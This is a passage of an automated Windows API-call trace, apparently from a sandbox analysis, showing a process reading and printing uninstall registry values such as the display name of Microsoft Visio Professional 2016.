fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.982] __iob_func () returned 0x7fefd702a80 [0146.982] _fileno (_File=0x7fefd702ab0) returned 1 [0146.982] _errno () returned 0xc4bb0 [0146.982] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.982] _errno () returned 0xc4bb0 [0146.983] GetFileType (hFile=0x50) returned 0x1 [0146.983] lstrlenW (lpString="\n") returned 1 [0146.983] GetConsoleOutputCP () returned 0x1b5 [0146.983] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.983] GetConsoleOutputCP () returned 0x1b5 [0146.983] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.983] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.983] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.983] GetProcessHeap () returned 0x2e0000 [0146.983] GetProcessHeap () returned 0x2e0000 [0146.983] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.983] GetProcessHeap () returned 0x2e0000 [0146.983] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0146.983] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.983] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.983] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0146.983] GetProcessHeap () returned 0x2e0000 [0146.983] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0146.983] GetProcessHeap () returned 0x2e0000 [0146.983] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.983] GetProcessHeap () returned 0x2e0000 [0146.983] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0146.983] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0146.983] __iob_func () returned 0x7fefd702a80 [0146.983] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.984] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.984] _fileno (_File=0x7fefd702ab0) returned 1 [0146.984] _errno () returned 0xc4bb0 [0146.984] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.984] _errno () returned 0xc4bb0 [0146.984] GetFileType (hFile=0x50) returned 0x1 [0146.984] lstrlenW (lpString=" ") returned 4 [0146.984] GetConsoleOutputCP () returned 0x1b5 [0146.984] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.984] GetConsoleOutputCP () returned 0x1b5 [0146.984] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.984] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.984] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.984] lstrlenW (lpString="NoModify") returned 8 [0146.984] __iob_func () returned 0x7fefd702a80 [0146.984] _fileno (_File=0x7fefd702ab0) returned 1 [0146.984] _errno () returned 0xc4bb0 [0146.984] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.984] _errno () returned 0xc4bb0 [0146.984] GetFileType (hFile=0x50) returned 0x1 [0146.984] lstrlenW (lpString="NoModify") returned 8 [0146.984] GetConsoleOutputCP () returned 0x1b5 [0146.984] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0146.985] GetConsoleOutputCP () returned 0x1b5 [0146.985] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0146.985] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0146.985] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.985] __iob_func () returned 0x7fefd702a80 [0146.985] _fileno (_File=0x7fefd702ab0) returned 1 [0146.985] _errno () returned 0xc4bb0 [0146.985] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.985] _errno () returned 0xc4bb0 [0146.985] GetFileType (hFile=0x50) returned 0x1 [0146.985] lstrlenW (lpString=" ") returned 4 [0146.985] GetConsoleOutputCP () returned 0x1b5 [0146.985] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.985] GetConsoleOutputCP () returned 0x1b5 [0146.985] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.985] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.985] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.985] __iob_func () returned 0x7fefd702a80 [0146.985] _fileno (_File=0x7fefd702ab0) returned 1 [0146.985] _errno () returned 0xc4bb0 [0146.985] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.985] _errno () returned 0xc4bb0 [0146.985] GetFileType (hFile=0x50) returned 0x1 [0146.986] lstrlenW (lpString="REG_DWORD") returned 9 [0146.986] GetConsoleOutputCP () returned 0x1b5 [0146.986] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0146.986] GetConsoleOutputCP () returned 0x1b5 [0146.986] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0146.986] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0146.986] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.986] __iob_func () returned 0x7fefd702a80 [0146.986] _fileno (_File=0x7fefd702ab0) returned 1 [0146.986] _errno () returned 0xc4bb0 [0146.986] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.986] _errno () returned 0xc4bb0 [0146.986] GetFileType (hFile=0x50) returned 0x1 [0146.986] lstrlenW (lpString=" ") returned 4 [0146.986] GetConsoleOutputCP () returned 0x1b5 [0146.986] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.986] GetConsoleOutputCP () returned 0x1b5 [0146.986] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.986] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.986] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.987] __iob_func () returned 0x7fefd702a80 [0146.987] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.987] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x0") returned 3 [0146.987] _fileno (_File=0x7fefd702ab0) returned 1 [0146.987] _errno () returned 0xc4bb0 [0146.987] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.987] _errno () returned 0xc4bb0 [0146.987] GetFileType (hFile=0x50) returned 0x1 [0146.987] lstrlenW (lpString="0x0") returned 3 [0146.987] GetConsoleOutputCP () returned 0x1b5 [0146.987] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0146.987] GetConsoleOutputCP () returned 0x1b5 [0146.987] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0146.987] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0146.987] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.987] __iob_func () returned 0x7fefd702a80 [0146.987] _fileno (_File=0x7fefd702ab0) returned 1 [0146.987] _errno () returned 0xc4bb0 [0146.987] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.987] _errno () returned 0xc4bb0 [0146.987] GetFileType (hFile=0x50) returned 0x1 [0146.987] lstrlenW (lpString="\n") returned 1 [0146.987] GetConsoleOutputCP () returned 0x1b5 [0146.988] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.988] GetConsoleOutputCP () returned 0x1b5 [0146.988] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.988] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.988] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.988] GetProcessHeap () returned 0x2e0000 [0146.988] GetProcessHeap () returned 0x2e0000 [0146.988] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.988] GetProcessHeap () returned 0x2e0000 [0146.988] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0146.988] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.988] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayIcon", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.988] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0xa0) returned 0x0 [0146.988] GetProcessHeap () returned 0x2e0000 [0146.988] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xa2) returned 0x2fd170 [0146.988] GetProcessHeap () returned 0x2e0000 [0146.988] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.988] GetProcessHeap () returned 0x2e0000 [0146.988] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0xa2 [0146.988] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd170, pcbData=0x23f670*=0xa0 | out: pdwType=0x23f5f0*=0x1, pvData="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe", pcbData=0x23f670*=0x9e) returned 0x0 [0146.988] __iob_func () returned 0x7fefd702a80 [0146.988] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.988] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.988] _fileno (_File=0x7fefd702ab0) returned 1 [0146.988] _errno () returned 0xc4bb0 [0146.988] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.989] _errno () returned 0xc4bb0 [0146.989] GetFileType (hFile=0x50) returned 0x1 [0146.989] lstrlenW (lpString=" ") returned 4 [0146.989] GetConsoleOutputCP () returned 0x1b5 [0146.989] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.989] GetConsoleOutputCP () returned 0x1b5 [0146.989] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.989] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.989] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.989] lstrlenW (lpString="DisplayIcon") returned 11 [0146.989] __iob_func () returned 0x7fefd702a80 [0146.989] _fileno (_File=0x7fefd702ab0) returned 1 [0146.989] _errno () returned 0xc4bb0 [0146.989] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.989] _errno () returned 0xc4bb0 [0146.989] GetFileType (hFile=0x50) returned 0x1 [0146.989] lstrlenW (lpString="DisplayIcon") returned 11 [0146.989] GetConsoleOutputCP () returned 0x1b5 [0146.989] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0146.989] GetConsoleOutputCP () returned 0x1b5 [0146.990] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayIcon", lpUsedDefaultChar=0x0) returned 11 [0146.990] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0146.990] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.990] __iob_func () returned 0x7fefd702a80 [0146.990] _fileno (_File=0x7fefd702ab0) returned 1 [0146.990] _errno () returned 0xc4bb0 [0146.990] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.990] _errno () returned 0xc4bb0 [0146.990] GetFileType (hFile=0x50) returned 0x1 [0146.990] lstrlenW (lpString=" ") returned 4 [0146.990] GetConsoleOutputCP () returned 0x1b5 [0146.990] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.990] GetConsoleOutputCP () returned 0x1b5 [0146.990] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.990] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.990] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.990] __iob_func () returned 0x7fefd702a80 [0146.990] _fileno (_File=0x7fefd702ab0) returned 1 [0146.990] _errno () returned 0xc4bb0 [0146.990] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.990] _errno () returned 0xc4bb0 [0146.990] GetFileType (hFile=0x50) returned 0x1 [0146.991] lstrlenW (lpString="REG_SZ") returned 6 [0146.991] GetConsoleOutputCP () returned 0x1b5 [0146.991] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.991] GetConsoleOutputCP () returned 0x1b5 [0146.991] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.991] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.991] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.991] __iob_func () returned 0x7fefd702a80 [0146.991] _fileno (_File=0x7fefd702ab0) returned 1 [0146.991] _errno () returned 0xc4bb0 [0146.991] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.991] _errno () returned 0xc4bb0 [0146.991] GetFileType (hFile=0x50) returned 0x1 [0146.991] lstrlenW (lpString=" ") returned 4 [0146.991] GetConsoleOutputCP () returned 0x1b5 [0146.991] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.991] GetConsoleOutputCP () returned 0x1b5 [0146.992] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.992] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.992] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.992] __iob_func () returned 0x7fefd702a80 [0146.992] _fileno (_File=0x7fefd702ab0) returned 1 [0146.992] _errno () returned 0xc4bb0 [0146.992] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.992] _errno () returned 0xc4bb0 [0146.992] GetFileType (hFile=0x50) returned 0x1 [0146.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0146.992] GetConsoleOutputCP () returned 0x1b5 [0146.992] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe", cchWideChar=78, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 78 [0146.992] GetConsoleOutputCP () returned 0x1b5 [0146.992] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe", cchWideChar=78, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe", lpUsedDefaultChar=0x0) returned 78 [0146.992] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 78 [0146.992] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.992] __iob_func () returned 0x7fefd702a80 [0146.992] _fileno (_File=0x7fefd702ab0) returned 1 [0146.992] _errno () returned 0xc4bb0 [0146.992] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.992] _errno () returned 0xc4bb0 [0146.992] GetFileType (hFile=0x50) returned 0x1 [0146.992] lstrlenW (lpString="\n") returned 1 [0146.992] GetConsoleOutputCP () returned 0x1b5 [0146.993] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.993] GetConsoleOutputCP () returned 0x1b5 [0146.993] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.993] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.993] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.993] GetProcessHeap () returned 0x2e0000 [0146.993] GetProcessHeap () returned 0x2e0000 [0146.993] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.993] GetProcessHeap () returned 0x2e0000 [0146.993] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0xa2 [0146.993] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170 | out: hHeap=0x2e0000) returned 1 [0146.993] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.993] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x56) returned 0x0 [0146.993] GetProcessHeap () returned 0x2e0000 [0146.993] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x58) returned 0x2fb7d0 [0146.993] GetProcessHeap () returned 0x2e0000 [0146.993] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.993] GetProcessHeap () returned 0x2e0000 [0146.993] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x58 [0146.993] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fb7d0, pcbData=0x23f670*=0x56 | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Visio Professional 2016 - en-us", pcbData=0x23f670*=0x54) returned 0x0 [0146.993] __iob_func () returned 0x7fefd702a80 [0146.993] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.993] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.993] _fileno (_File=0x7fefd702ab0) returned 1 [0146.993] _errno () returned 0xc4bb0 [0146.993] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.994] _errno () returned 0xc4bb0 [0146.994] GetFileType (hFile=0x50) returned 0x1 [0146.994] lstrlenW (lpString=" ") returned 4 [0146.994] GetConsoleOutputCP () returned 0x1b5 [0146.994] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.994] GetConsoleOutputCP () returned 0x1b5 [0146.994] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.994] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.994] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.994] lstrlenW (lpString="DisplayName") returned 11 [0146.994] __iob_func () returned 0x7fefd702a80 [0146.994] _fileno (_File=0x7fefd702ab0) returned 1 [0146.994] _errno () returned 0xc4bb0 [0146.994] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.994] _errno () returned 0xc4bb0 [0146.994] GetFileType (hFile=0x50) returned 0x1 [0146.994] lstrlenW (lpString="DisplayName") returned 11 [0146.994] GetConsoleOutputCP () returned 0x1b5 [0146.994] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0146.994] GetConsoleOutputCP () returned 0x1b5 [0146.995] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0146.995] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0146.995] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.995] __iob_func () returned 0x7fefd702a80 [0146.995] _fileno (_File=0x7fefd702ab0) returned 1 [0146.995] _errno () returned 0xc4bb0 [0146.995] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.995] _errno () returned 0xc4bb0 [0146.995] GetFileType (hFile=0x50) returned 